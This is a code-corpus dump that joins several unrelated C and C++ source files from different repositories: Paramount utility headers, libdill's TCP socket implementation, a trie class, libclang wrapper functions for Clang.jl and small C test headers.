// Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_STATUS_H #define PARAMOUNT_STATUS_H #include <string> #include <utility> namespace pmt { namespace base { namespace error { enum Code { OK = 0 }; } // namespace error /// Determines whether a call or a given object is error free. /// Status objects may be used, whenever one inputs an object into a function /// and wants to check, if the desired transformation could be applied /// sucessfully. class Status { public: Status() : code_(error::OK) {} Status(error::Code code, std::string msg) : code_(code), msg_(std::move(msg)) {} Status(const Status& status) = default; ~Status() = default; Status& operator=(const Status& status) = default; bool operator==(const Status& status) const { return code_ == status.code_ && msg_ == status.msg_; } bool ok() const { return code_ == error::OK; } const std::string& errorMessage() const { return msg_; } error::Code errorCode() const { return code_; } std::string toString() const; private: error::Code code_; std::string msg_; }; } // namespace base } // namespace pmt #endif // PARAMOUNT_STATUS_H
Kai-Wolf-SW-Consulting/Paramount
src/base/array_size.h
<gh_stars>1-10 // Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_ARRAY_SIZE_H #define PARAMOUNT_ARRAY_SIZE_H #include <cstddef> namespace pmt { namespace base { namespace internal { /// The arraysize(arr) macro returns the number of elements in array. /// The expression is a compile-time constant, and therefore can be used in /// defining new arrays, for example. If you use arraysize on a pointer by /// mistake, you will get a compile-time error, since *foo and foo[] are /// two different things. template <typename T, std::size_t N> char (&ArraySizeHelper(T (&array)[N]))[N]; #define arraysize(arr) (sizeof(::pmt::base::internal::ArraySizeHelper(arr))) } // namespace internal /// Used to explicitly mark the return value of a function as unused. template <typename T> inline void ignore_result(const T& /*unused*/) {} } // namespace base } // namespace pmt #endif // PARAMOUNT_ARRAY_SIZE_H
Kai-Wolf-SW-Consulting/Paramount
src/base/macros.h
// Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_MACROS_H #define PARAMOUNT_MACROS_H #include <memory> /// Inside the declaration of a class will make it unassignable #define DISALLOW_ASSIGN(TypeName) void operator=(const TypeName&) = delete /// Inside the declaration of a class will make it uncopyable and unassignable #if __cplusplus < 201103L #define DISALLOW_COPY_AND_ASSIGN(TypeName) \ TypeName(const TypeName&); \ void operator=(const TypeName&) #else #define DISALLOW_COPY_AND_ASSIGN(TypeName) \ TypeName(const TypeName&) = delete; \ TypeName& operator=(const TypeName&) = delete; #endif /// Inside the declaration of a class will make it un-default constructible #define DISALLOW_DEFAULT_CTOR(TypeName) TypeName() = delete #define DISALLOW_IMPLICIT_CONSTRUCTOR(TypeName) \ TypeName() = delete; \ DISALLOW_COPY_AND_ASSIGN(TypeName) /// Verify an expression during compile-time #undef COMPILE_ASSERT #define COMPILE_ASSERT(expr, msg) static_assert(expr, #msg) /// Give branch indication hints to the (GCC) compiler: whether the if /// condition is likely to be true or false #undef LIKELY #undef UNLIKELY #if defined(__GNUC__) && __GNUC__ >= 4 # define LIKELY(x) (__builtin_expect((x), 1)) # define UNLIKELY(x) (__builtin_expect((x), 0)) #else # define LIKELY(x) (x) # define UNLIKELY(x) (x) #endif /// Determine host os system #if defined(_WIN32) # define OS_WINDOWS 1 # define __func__ __FUNCTION__ #elif defined(__APPLE__) # define OS_MACOSX 1 #elif defined(__FreeBSD__) # define OS_FREEBSD 1 #elif defined(__linux__) # define OS_LINUX 1 #endif /// determine used compiler #if defined(__clang__) # define COMPILER_CLANG #elif defined(_MSC_VER) # define COMPILER_MSVC #elif defined(__GNUC__) # define COMPILER_GCC #endif /// Concatenate symbols s1 and s2 #define CONCATENATE_IMPL(s1, s2) s1##s2 #define CONCATENATE(s1, s2) CONCATENATE_IMPL(s1, s2) #ifdef __COUNTER__ # define ANONYMOUS_VARIABLE(str) CONCATENATE(str, __COUNTER__) #else # define ANONYMOUS_VARIABLE(str) CONCATENATE(str, __LINE__) #endif #endif // PARAMOUNT_MACROS_H
Kai-Wolf-SW-Consulting/Paramount
src/base/environment.h
// Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_ENVIRONMENT_H #define PARAMOUNT_ENVIRONMENT_H #include <string> namespace pmt { namespace base { /// Gets an environment variable and returns it in |result|. /// Returns false, if the variable is not set bool GetEnvVar(const std::string& var_name, std::string* result); /// Returns true, if the environment variable is set bool HasEnvVar(const std::string& var_name); /// Sets an environment variable /// Returns true on success, otherwise returns false bool SetEnvVar(const std::string& var_name, const std::string& new_value); /// Returns true on success, otherwise returns false bool UnsetEnvVar(const std::string& var_name); } // namespace base } // namespace pmt #endif // PARAMOUNT_ENVIRONMENT_H
mjolk/libdill
tcp.c
<reponame>mjolk/libdill /** * File : tcp.c * License: MIT/X11 * Author : <NAME> <<EMAIL>> * Date : ma 11 mrt 2019 07:37 */ /* Copyright (c) 2017 <NAME> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <errno.h> #include <stdlib.h> #include <unistd.h> #define DILL_DISABLE_RAW_NAMES #include "libdillimpl.h" #include "fd.h" #include "utils.h" dill_unique_id(dill_tcp_type); dill_unique_id(dill_tcp_listener_type); /******************************************************************************/ /* TCP connection socket */ /******************************************************************************/ static void *dill_tcp_hquery(struct dill_hvfs *hvfs, const void *type); static void dill_tcp_hclose(struct dill_hvfs *hvfs); static int dill_tcp_bsendl(struct dill_bsock_vfs *bvfs, struct dill_iolist *first, struct dill_iolist *last, int64_t deadline); static int dill_tcp_brecvl(struct dill_bsock_vfs *bvfs, struct dill_iolist *first, struct dill_iolist *last, int64_t deadline); struct dill_tcp_conn { struct dill_hvfs hvfs; struct dill_bsock_vfs bvfs; int fd; struct dill_fd_rxbuf rxbuf; unsigned int rbusy : 1; unsigned int sbusy : 1; unsigned int indone : 1; unsigned int outdone: 1; unsigned int inerr : 1; unsigned int outerr : 1; unsigned int mem : 1; }; DILL_CHECK_STORAGE(dill_tcp_conn, dill_tcp_storage) static void *dill_tcp_hquery(struct dill_hvfs *hvfs, const void *type) { struct dill_tcp_conn *self = (struct dill_tcp_conn*)hvfs; if(type == dill_bsock_type) return &self->bvfs; if(type == dill_tcp_type) return self; errno = ENOTSUP; return NULL; } static int dill_tcp_makeconn(int fd, void *mem) { /* Create the object. */ struct dill_tcp_conn *self = (struct dill_tcp_conn*)mem; self->hvfs.query = dill_tcp_hquery; self->hvfs.close = dill_tcp_hclose; self->bvfs.bsendl = dill_tcp_bsendl; self->bvfs.brecvl = dill_tcp_brecvl; self->fd = fd; dill_fd_initrxbuf(&self->rxbuf); self->rbusy = 0; self->sbusy = 0; self->indone = 0; self->outdone = 0; self->inerr = 0; self->outerr = 0; self->mem = 1; /* Create the handle. */ return dill_hmake(&self->hvfs); } int dill_tcp_fromfd_mem(int fd, struct dill_tcp_storage *mem) { int err; if(dill_slow(!mem || fd < 0)) {err = EINVAL; goto error1;} /* Make sure that the supplied file descriptor is of correct type. */ int rc = dill_fd_check(fd, SOCK_STREAM, AF_INET, AF_INET6, 0); if(dill_slow(rc < 0)) {err = errno; goto error1;} /* Take ownership of the file descriptor. */ fd = dill_fd_own(fd); if(dill_slow(fd < 0)) {err = errno; goto error1;} /* Set the socket to non-blocking mode */ rc = dill_fd_unblock(fd); if(dill_slow(rc < 0)) {err = errno; goto error1;} /* Create the handle */ int h = dill_tcp_makeconn(fd, mem); if(dill_slow(h < 0)) {err = errno; goto error1;} /* Return the handle */ return h; error1: errno = err; return -1; } int dill_tcp_fromfd(int fd) { int err; struct dill_tcp_conn *obj = malloc(sizeof(struct dill_tcp_conn)); if(dill_slow(!obj)) {err = ENOMEM; goto error1;} int s = dill_tcp_fromfd_mem(fd, (struct dill_tcp_storage*)obj); if (dill_slow(s < 0)) {err = errno; goto error2;} obj->mem = 0; return s; error2: free(obj); error1: errno = err; return -1; } int dill_tcp_connect_mem(const struct dill_ipaddr *addr, struct dill_tcp_storage *mem, int64_t deadline) { int err; if(dill_slow(!mem)) {err = EINVAL; goto error1;} /* Open a socket. */ int s = socket(dill_ipaddr_family(addr), SOCK_STREAM, 0); if(dill_slow(s < 0)) {err = errno; goto error1;} /* Set it to non-blocking mode. */ int rc = dill_fd_unblock(s); if(dill_slow(rc < 0)) {err = errno; goto error2;} /* Connect to the remote endpoint. */ rc = dill_fd_connect(s, dill_ipaddr_sockaddr(addr), dill_ipaddr_len(addr), deadline); if(dill_slow(rc < 0)) {err = errno; goto error2;} /* Create the handle. */ int h = dill_tcp_makeconn(s, mem); if(dill_slow(h < 0)) {err = errno; goto error2;} return h; error2: dill_fd_close(s); error1: errno = err; return -1; } int dill_tcp_connect(const struct dill_ipaddr *addr, int64_t deadline) { int err; struct dill_tcp_conn *obj = malloc(sizeof(struct dill_tcp_conn)); if(dill_slow(!obj)) {err = ENOMEM; goto error1;} int s = dill_tcp_connect_mem(addr, (struct dill_tcp_storage*)obj, deadline); if(dill_slow(s < 0)) {err = errno; goto error2;} obj->mem = 0; return s; error2: free(obj); error1: errno = err; return -1; } static int dill_tcp_bsendl(struct dill_bsock_vfs *bvfs, struct dill_iolist *first, struct dill_iolist *last, int64_t deadline) { struct dill_tcp_conn *self = dill_cont(bvfs, struct dill_tcp_conn, bvfs); if(dill_slow(self->sbusy)) {errno = EBUSY; return -1;} if(dill_slow(self->outdone)) {errno = EPIPE; return -1;} if(dill_slow(self->outerr)) {errno = ECONNRESET; return -1;} self->sbusy = 1; ssize_t sz = dill_fd_send(self->fd, first, last, deadline); self->sbusy = 0; if(dill_fast(sz >= 0)) return sz; self->outerr = 1; return -1; } static int dill_tcp_brecvl(struct dill_bsock_vfs *bvfs, struct dill_iolist *first, struct dill_iolist *last, int64_t deadline) { struct dill_tcp_conn *self = dill_cont(bvfs, struct dill_tcp_conn, bvfs); if(dill_slow(self->rbusy)) {errno = EBUSY; return -1;} if(dill_slow(self->indone)) {errno = EPIPE; return -1;} if(dill_slow(self->inerr)) {errno = ECONNRESET; return -1;} self->rbusy = 1; int rc = dill_fd_recv(self->fd, &self->rxbuf, first, last, deadline); self->rbusy = 0; if(dill_fast(rc == 0)) return 0; if(errno == EPIPE) self->indone = 1; else self->inerr = 1; return -1; } int dill_tcp_done(int s, int64_t deadline) { struct dill_tcp_conn *self = dill_hquery(s, dill_tcp_type); if(dill_slow(!self)) return -1; if(dill_slow(self->outdone)) {errno = EPIPE; return -1;} if(dill_slow(self->outerr)) {errno = ECONNRESET; return -1;} /* Flushing the tx buffer is done asynchronously on kernel level. */ int rc = shutdown(self->fd, SHUT_WR); if(dill_slow(rc < 0)) { if(errno == ENOTCONN) {self->outerr = 1; errno = ECONNRESET; return -1;} if(errno == ENOBUFS) {self->outerr = 1; errno = ENOMEM; return -1;} dill_assert(rc == 0); } self->outdone = 1; return 0; } int dill_tcp_close(int s, int64_t deadline) { int err; /* Listener socket needs no special treatment. */ if(dill_hquery(s, dill_tcp_listener_type)) { return dill_hclose(s); } struct dill_tcp_conn *self = dill_hquery(s, dill_tcp_type); if(dill_slow(!self)) return -1; if(dill_slow(self->inerr || self->outerr)) {err = ECONNRESET; goto error;} /* If not done already, flush the outbound data and start the terminal handshake. */ if(!self->outdone) { int rc = dill_tcp_done(s, deadline); if(dill_slow(rc < 0)) {err = errno; goto error;} } /* Now we are going to read all the inbound data until we reach end of the stream. That way we can be sure that the peer either received all our data or consciously closed the connection without reading all of it. */ int rc = dill_tcp_brecvl(&self->bvfs, NULL, NULL, deadline); dill_assert(rc < 0); if(dill_slow(errno != EPIPE)) {err = errno; goto error;} dill_tcp_hclose(&self->hvfs); return 0; error: dill_tcp_hclose(&self->hvfs); errno = err; return -1; } static void dill_tcp_hclose(struct dill_hvfs *hvfs) { struct dill_tcp_conn *self = (struct dill_tcp_conn*)hvfs; dill_fd_close(self->fd); dill_fd_termrxbuf(&self->rxbuf); if(!self->mem) free(self); } /******************************************************************************/ /* TCP listener socket */ /******************************************************************************/ static void *dill_tcp_listener_hquery(struct dill_hvfs *hvfs, const void *type); static void dill_tcp_listener_hclose(struct dill_hvfs *hvfs); struct dill_tcp_listener { struct dill_hvfs hvfs; int fd; struct dill_ipaddr addr; unsigned int mem : 1; }; DILL_CHECK_STORAGE(dill_tcp_listener, dill_tcp_listener_storage) static int dill_tcp_makelistener(int fd, void *mem) { /* Create the object. */ struct dill_tcp_listener *self = (struct dill_tcp_listener*)mem; self->hvfs.query = dill_tcp_listener_hquery; self->hvfs.close = dill_tcp_listener_hclose; self->fd = fd; self->mem = 1; /* Create the handle. */ return dill_hmake(&self->hvfs); } static void *dill_tcp_listener_hquery(struct dill_hvfs *hvfs, const void *type) { struct dill_tcp_listener *self = (struct dill_tcp_listener*)hvfs; if(type == dill_tcp_listener_type) return self; errno = ENOTSUP; return NULL; } int dill_tcp_listener_fromfd(int fd) { int err; struct dill_tcp_listener *obj = malloc(sizeof(struct dill_tcp_listener)); if(dill_slow(!obj)) {err = ENOMEM; goto error1;} int s = dill_tcp_listener_fromfd_mem(fd, (struct dill_tcp_listener_storage*)obj); if (dill_slow(s < 0)) {err = errno; goto error2;} obj->mem = 0; return s; error2: free(obj); error1: errno = err; return -1; } int dill_tcp_listener_fromfd_mem(int fd, struct dill_tcp_listener_storage *mem) { int err; if(dill_slow(!mem || fd < 0)) {err = EINVAL; goto error1;} /* Make sure that the supplied file descriptor is of correct type. */ int rc = dill_fd_check(fd, SOCK_STREAM, AF_INET, AF_INET6, 1); if(dill_slow(rc < 0)) {err = errno; goto error1;} /* Take ownership of the file descriptor. */ fd = dill_fd_own(fd); if(dill_slow(fd < 0)) {err = errno; goto error1;} /* Set the socket to non-blocking mode */ rc = dill_fd_unblock(fd); if(dill_slow(rc < 0)) {err = errno; goto error1;} /* Create the handle */ int h = dill_tcp_makelistener(fd, mem); if(dill_slow(h < 0)) {err = errno; goto error1;} /* Return the handle */ return h; error1: errno = err; return -1; } int dill_tcp_listen_mem(struct dill_ipaddr *addr, int backlog, struct dill_tcp_listener_storage *mem) { int err; if(dill_slow(!mem)) {err = EINVAL; goto error1;} /* Open the listening socket. */ int s = socket(dill_ipaddr_family(addr), SOCK_STREAM, 0); if(dill_slow(s < 0)) {err = errno; goto error1;} /* Set it to non-blocking mode. */ int rc = dill_fd_unblock(s); if(dill_slow(rc < 0)) {err = errno; goto error2;} /* Start listening for incoming connections. */ rc = bind(s, dill_ipaddr_sockaddr(addr), dill_ipaddr_len(addr)); if(dill_slow(rc < 0)) {err = errno; goto error2;} rc = listen(s, backlog); if(dill_slow(rc < 0)) {err = errno; goto error2;} /* If the user requested an ephemeral port, retrieve the port number assigned by the OS. */ if(dill_ipaddr_port(addr) == 0) { struct dill_ipaddr baddr; socklen_t len = sizeof(struct dill_ipaddr); rc = getsockname(s, (struct sockaddr*)&baddr, &len); if(rc < 0) {err = errno; goto error2;} dill_ipaddr_setport(addr, dill_ipaddr_port(&baddr)); } int h = dill_tcp_makelistener(s, mem); if(dill_slow(h < 0)) {err = errno; goto error2;} return h; error2: close(s); error1: errno = err; return -1; } int dill_tcp_listen(struct dill_ipaddr *addr, int backlog) { int err; struct dill_tcp_listener *obj = malloc(sizeof(struct dill_tcp_listener)); if(dill_slow(!obj)) {err = ENOMEM; goto error1;} int ls = dill_tcp_listen_mem(addr, backlog, (struct dill_tcp_listener_storage*)obj); if(dill_slow(ls < 0)) {err = errno; goto error2;} obj->mem = 0; return ls; error2: free(obj); error1: errno = err; return -1; } int dill_tcp_accept_mem(int s, struct dill_ipaddr *addr, struct dill_tcp_storage *mem, int64_t deadline) { int err; if(dill_slow(!mem)) {err = EINVAL; goto error1;} /* Retrieve the listener object. */ struct dill_tcp_listener *lst = dill_hquery(s, dill_tcp_listener_type); if(dill_slow(!lst)) {err = errno; goto error1;} /* Try to get new connection in a non-blocking way. */ socklen_t addrlen = sizeof(struct dill_ipaddr); int as = dill_fd_accept(lst->fd, (struct sockaddr*)addr, &addrlen, deadline); if(dill_slow(as < 0)) {err = errno; goto error1;} /* Set it to non-blocking mode. */ int rc = dill_fd_unblock(as); if(dill_slow(rc < 0)) {err = errno; goto error2;} /* Create the handle. */ int h = dill_tcp_makeconn(as, mem); if(dill_slow(h < 0)) {err = errno; goto error2;} return h; error2: dill_fd_close(as); error1: errno = err; return -1; } int dill_tcp_accept_raw(int s, struct dill_ipaddr *addr, int64_t deadline) { int err; /* Retrieve the listener object. */ struct dill_tcp_listener *lst = dill_hquery(s, dill_tcp_listener_type); if(dill_slow(!lst)) {err = errno; goto error1;} /* Try to get new connection in a non-blocking way. */ socklen_t addrlen = sizeof(struct dill_ipaddr); int as = dill_fd_accept(lst->fd, (struct sockaddr*)addr, &addrlen, deadline); if(dill_slow(as < 0)) {err = errno; goto error1;} /* Set it to non-blocking mode. */ int rc = dill_fd_unblock(as); if(dill_slow(rc < 0)) {err = errno; goto error2;} return as; error2: dill_fd_close(as); error1: errno = err; return -1; } int dill_tcp_accept(int s, struct dill_ipaddr *addr, int64_t deadline) { int err; struct dill_tcp_conn *obj = malloc(sizeof(struct dill_tcp_conn)); if(dill_slow(!obj)) {err = ENOMEM; goto error1;} int as = dill_tcp_accept_mem(s, addr, (struct dill_tcp_storage*)obj, deadline); if(dill_slow(as < 0)) {err = errno; goto error2;} obj->mem = 0; return as; error2: free(obj); error1: errno = err; return -1; } static void dill_tcp_listener_hclose(struct dill_hvfs *hvfs) { struct dill_tcp_listener *self = (struct dill_tcp_listener*)hvfs; dill_fd_close(self->fd); if(!self->mem) free(self); }
TeddyEngel/trie-cpp
Trie.h
<filename>Trie.h // // Trie.h // Scratchpad // // Created by <NAME> on 13/11/2016. // Copyright © 2016 <NAME>. All rights reserved. // #include <unordered_map> class TrieNode { public: TrieNode(); bool addString(const std::string& newString); void listStrings(const std::string prefix) const; void listStrings() const; int countPartials(const std::string& partialString) const; private: bool hasChildWithLetter(char letter) const; TrieNode& getChildWithLetter(char letter); bool addChildWithLetter(char letter, const std::string subString); int _childrenCount; bool _endOfWord; std::unordered_map<char, std::unique_ptr<TrieNode>> _children; }; using Trie = TrieNode;
jakebolewski/Clang.jl
deps/src/wrapclang.h
void wci_getFileName(char* a1,char* a2) { CXString rx = clang_getFileName(a1); wci_save_CXString(rx,a2); } void wci_getNullLocation(char* a1) { CXSourceLocation rx = clang_getNullLocation(); wci_save_CXSourceLocation(rx,a1); } unsigned int wci_equalLocations(char* a1,char* a2) { CXSourceLocation l1 = wci_get_CXSourceLocation(a1); CXSourceLocation l2 = wci_get_CXSourceLocation(a2); return clang_equalLocations(l1,l2); } void wci_getNullRange(char* a1) { CXSourceRange rx = clang_getNullRange(); wci_save_CXSourceRange(rx,a1); } void wci_getRange(char* a1,char* a2,char* a3) { CXSourceLocation l1 = wci_get_CXSourceLocation(a1); CXSourceLocation l2 = wci_get_CXSourceLocation(a2); CXSourceRange rx = clang_getRange(l1,l2); wci_save_CXSourceRange(rx,a3); } unsigned int wci_equalRanges(char* a1,char* a2) { CXSourceRange l1 = wci_get_CXSourceRange(a1); CXSourceRange l2 = wci_get_CXSourceRange(a2); return clang_equalRanges(l1,l2); } int wci_Range_isNull(char* a1) { CXSourceRange l1 = wci_get_CXSourceRange(a1); return clang_Range_isNull(l1); } void wci_getNullCursor(char* a1) { CXCursor rx = clang_getNullCursor(); wci_save_CXCursor(rx,a1); } void wci_getTranslationUnitCursor(CXTranslationUnit a1,char* a2) { CXCursor rx = clang_getTranslationUnitCursor(a1); wci_save_CXCursor(rx,a2); } unsigned int wci_equalCursors(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXCursor l2 = wci_get_CXCursor(a2); return clang_equalCursors(l1,l2); } int wci_Cursor_isNull(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_Cursor_isNull(l1); } unsigned int wci_hashCursor(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_hashCursor(l1); } unsigned int wci_getCursorKind(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_getCursorKind(l1); } unsigned int wci_isDeclaration(CXCursorKind a1) { return clang_isDeclaration(a1); } unsigned int wci_isReference(CXCursorKind a1) { return clang_isReference(a1); } CXLinkageKind wci_getCursorLinkage(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_getCursorLinkage(l1); } CXAvailabilityKind wci_getCursorAvailability(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_getCursorAvailability(l1); } CXLanguageKind wci_getCursorLanguage(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_getCursorLanguage(l1); } void wci_getCursorSemanticParent(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXCursor rx = clang_getCursorSemanticParent(l1); wci_save_CXCursor(rx,a2); } void wci_getCursorLexicalParent(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXCursor rx = clang_getCursorLexicalParent(l1); wci_save_CXCursor(rx,a2); } void wci_getCursorType(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXType rx = clang_getCursorType(l1); wci_save_CXType(rx,a2); } void wci_getTypedefDeclUnderlyingType(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXType rx = clang_getTypedefDeclUnderlyingType(l1); wci_save_CXType(rx,a2); } void wci_getEnumDeclIntegerType(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXType rx = clang_getEnumDeclIntegerType(l1); wci_save_CXType(rx,a2); } long long wci_getEnumConstantDeclValue(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_getEnumConstantDeclValue(l1); } unsigned long long wci_getEnumConstantDeclUnsignedValue(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_getEnumConstantDeclUnsignedValue(l1); } int wci_Cursor_getNumArguments(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_Cursor_getNumArguments(l1); } void wci_Cursor_getArgument(char* a1,int a2,char* a3) { CXCursor l1 = wci_get_CXCursor(a1); CXCursor rx = clang_Cursor_getArgument(l1,a2); wci_save_CXCursor(rx,a3); } unsigned int wci_equalTypes(char* a1,char* a2) { CXType l1 = wci_get_CXType(a1); CXType l2 = wci_get_CXType(a2); return clang_equalTypes(l1,l2); } void wci_getCanonicalType(char* a1,char* a2) { CXType l1 = wci_get_CXType(a1); CXType rx = clang_getCanonicalType(l1); wci_save_CXType(rx,a2); } unsigned int wci_isConstQualifiedType(char* a1) { CXType l1 = wci_get_CXType(a1); return clang_isConstQualifiedType(l1); } unsigned int wci_isVolatileQualifiedType(char* a1) { CXType l1 = wci_get_CXType(a1); return clang_isVolatileQualifiedType(l1); } unsigned int wci_isRestrictQualifiedType(char* a1) { CXType l1 = wci_get_CXType(a1); return clang_isRestrictQualifiedType(l1); } void wci_getPointeeType(char* a1,char* a2) { CXType l1 = wci_get_CXType(a1); CXType rx = clang_getPointeeType(l1); wci_save_CXType(rx,a2); } void wci_getTypeDeclaration(char* a1,char* a2) { CXType l1 = wci_get_CXType(a1); CXCursor rx = clang_getTypeDeclaration(l1); wci_save_CXCursor(rx,a2); } void wci_getDeclObjCTypeEncoding(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXString rx = clang_getDeclObjCTypeEncoding(l1); wci_save_CXString(rx,a2); } void wci_getTypeKindSpelling(CXTypeKind a1,char* a2) { CXString rx = clang_getTypeKindSpelling(a1); wci_save_CXString(rx,a2); } int wci_getFunctionTypeCallingConv(char* a1) { CXType l1 = wci_get_CXType(a1); return clang_getFunctionTypeCallingConv(l1); } void wci_getResultType(char* a1,char* a2) { CXType l1 = wci_get_CXType(a1); CXType rx = clang_getResultType(l1); wci_save_CXType(rx,a2); } int wci_getNumArgTypes(char* a1) { CXType l1 = wci_get_CXType(a1); return clang_getNumArgTypes(l1); } void wci_getArgType(char* a1,unsigned int a2,char* a3) { CXType l1 = wci_get_CXType(a1); CXType rx = clang_getArgType(l1,a2); wci_save_CXType(rx,a3); } unsigned int wci_isFunctionTypeVariadic(char* a1) { CXType l1 = wci_get_CXType(a1); return clang_isFunctionTypeVariadic(l1); } void wci_getCursorResultType(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXType rx = clang_getCursorResultType(l1); wci_save_CXType(rx,a2); } unsigned int wci_isPODType(char* a1) { CXType l1 = wci_get_CXType(a1); return clang_isPODType(l1); } void wci_getElementType(char* a1,char* a2) { CXType l1 = wci_get_CXType(a1); CXType rx = clang_getElementType(l1); wci_save_CXType(rx,a2); } long long wci_getNumElements(char* a1) { CXType l1 = wci_get_CXType(a1); return clang_getNumElements(l1); } void wci_getArrayElementType(char* a1,char* a2) { CXType l1 = wci_get_CXType(a1); CXType rx = clang_getArrayElementType(l1); wci_save_CXType(rx,a2); } long long wci_getArraySize(char* a1) { CXType l1 = wci_get_CXType(a1); return clang_getArraySize(l1); } unsigned int wci_isVirtualBase(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_isVirtualBase(l1); } long long wci_getCXXAccessSpecifier(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_getCXXAccessSpecifier(l1); } unsigned int wci_getNumOverloadedDecls(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_getNumOverloadedDecls(l1); } void wci_getOverloadedDecl(char* a1,unsigned int a2,char* a3) { CXCursor l1 = wci_get_CXCursor(a1); CXCursor rx = clang_getOverloadedDecl(l1,a2); wci_save_CXCursor(rx,a3); } void wci_getCursorUSR(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXString rx = clang_getCursorUSR(l1); wci_save_CXString(rx,a2); } void wci_getCursorSpelling(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXString rx = clang_getCursorSpelling(l1); wci_save_CXString(rx,a2); } void wci_getCursorDisplayName(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXString rx = clang_getCursorDisplayName(l1); wci_save_CXString(rx,a2); } void wci_getCursorReferenced(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXCursor rx = clang_getCursorReferenced(l1); wci_save_CXCursor(rx,a2); } void wci_getCursorDefinition(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXCursor rx = clang_getCursorDefinition(l1); wci_save_CXCursor(rx,a2); } unsigned int wci_isCursorDefinition(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_isCursorDefinition(l1); } void wci_getCanonicalCursor(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXCursor rx = clang_getCanonicalCursor(l1); wci_save_CXCursor(rx,a2); } unsigned int wci_CXXMethod_isStatic(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_CXXMethod_isStatic(l1); } unsigned int wci_CXXMethod_isVirtual(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_CXXMethod_isVirtual(l1); } int wci_getTemplateCursorKind(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); return clang_getTemplateCursorKind(l1); } void wci_getSpecializedCursorTemplate(char* a1,char* a2) { CXCursor l1 = wci_get_CXCursor(a1); CXCursor rx = clang_getSpecializedCursorTemplate(l1); wci_save_CXCursor(rx,a2); } int wci_getTokenKind(char* a1) { CXToken l1 = wci_get_CXToken(a1); return clang_getTokenKind(l1); } void wci_getTokenSpelling(CXTranslationUnit a1,char* a2,char* a3) { CXToken l2 = wci_get_CXToken(a2); CXString rx = clang_getTokenSpelling(a1,l2); wci_save_CXString(rx,a3); } void wci_getCursorKindSpelling(CXCursorKind a1,char* a2) { CXString rx = clang_getCursorKindSpelling(a1); wci_save_CXString(rx,a2); } void wci_getClangVersion(char* a1) { CXString rx = clang_getClangVersion(); wci_save_CXString(rx,a1); } void* wci_getIncludedFile(char* a1) { CXCursor l1 = wci_get_CXCursor(a1); CXFile rx = clang_getIncludedFile(l1); return rx; }
jakebolewski/Clang.jl
test/cxx/cbasic.h
#define CONST 1 #define CONSTADD CONST + 2 #define CONSTSFT (1<<2) typedef enum { Juneau = 0x0, Seattle = 0x1, Portland = 0x3 } WtoECapitals; int func1(int a, double b, double* c, void* d);
jakebolewski/Clang.jl
test/cxx/c_struct_typedef.h
<reponame>jakebolewski/Clang.jl<filename>test/cxx/c_struct_typedef.h struct Str { int x; }; typedef struct Str Str; /* If this remains unparseable, char2 should be omitted from the file */ struct __attribute__((aligned(2))) char2 { signed char x,y; }; typedef struct char2 char2;
shakfu/scheme-for-pd
s4pd.h
